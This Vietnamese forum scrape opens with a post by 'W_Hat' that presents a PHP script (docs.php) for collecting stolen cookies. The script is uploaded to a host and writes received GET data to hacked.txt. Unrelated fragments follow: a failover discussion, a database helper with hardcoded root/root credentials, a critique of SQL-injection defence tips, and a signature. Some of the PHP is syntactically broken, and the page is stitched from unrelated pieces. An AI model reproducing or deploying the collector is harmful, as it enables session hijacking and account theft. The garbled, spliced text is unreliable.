Tác giả : W_Hat (Z0rr0)
Tôi sẽ hướng dẫn cho các bạn một vài source code ðơn giản trước ðây tôi
dùng ðể lấy cookies :
Các bạn save ðoạn code sau thành file docs.php, sau ðó upload lên 1 host nào
ðó support php. Mục ðích của ðoạn code này là sẽ ðọc data truyền vào khi gọi
file docs.php, save thành file text với tên file là hacked.txt :
Trích dẫn:
//Begin of docs.php
<?php
define ("LINE", "\r\n";
define ("HTML_LINE", "<br>";
function getvars($arr, $title)
{
$res = "";
$len = count($arr);
if ($len>0)
{
if (strlen($title)>0)
{
print("[--------$title--------]" . HTML_LINE);
$res .= "[--------$title--------]" . LINE;
}
foreach ($arr as $key => $value)
{
print("[$key]" . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= "[$ key]" . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date("Y-m-d H : i : s ";
// init
$myData = "[-----$now-----]" . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, "";
// file
$file = "hacked.txt";
$mode = "r+";
if (!file_exists($file))
$mode = "w+";
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
?>

 

Lấy dữ liệu thì OK (search connection pooling + failover), chứ sao lại có "đồng bộ hóa dữ liệu, bảo mật, quản trị" nhỉ, cái này của sysadmin chứ.
 

npv: em đã từng lập trình hệ thống lớn chưa(1 hệ thống lớn có nhiều server là mail server, web server, db server....khi 1 server chết thì chương trình tự kiếm đến server để lấy dữ liệu, rồi đồng bộ hóa dữ liệu, bảo mật, quản trị....)
 

public static function ExecuteQuery($sql)
{
$connection = mysql_connect("host","root","root") or
die ("couldn't connect to localhost");
mysql_select_db("namedb",$connection);
mysql_query("set names 'utf8'");
$result = mysql_query($sql,$connection);
mysql_close($connection);
return $result;
}

Đọc 7 thủ thuật chống sql injection của bạn thì thấy bạn cần tìm hiểu thêm về sql injection, một số thủ thuật nghe nó "kỳ quái" và ngôn từ không chuẩn quá: 

- Dùng hàm post thay cho hàm get trong form (vậy các website nếu không muốn bị sql injection thì chuyển hết form sang phương thức post chăng? Post, Get là phương thức của form, không phải hàm) 

- Đặt biến id (biến gì?)
 

Mấu chống của việc chống sql injection là kiểm tra và loại bỏ dữ liệu nguy hiểm mà user có thể input vào. Muốn chống hiệu quả thì phải tìm hiểu coi người ta inject sql như thế nào. 

Không có con đường nào đúng đắn cho mọi người cả. Mỗi đời người là một cuốn sách, mỗi ngày là một trang trong cuốn sách đó. Con đường thế nào là do tinh thần, tư duy, cá tính và môi trường của từng người. Những con người bình thường hay chọn đường mòn mà đi, những con người không bình thường hay chọn những con đường mới, phá đá, phá rừng mà đi.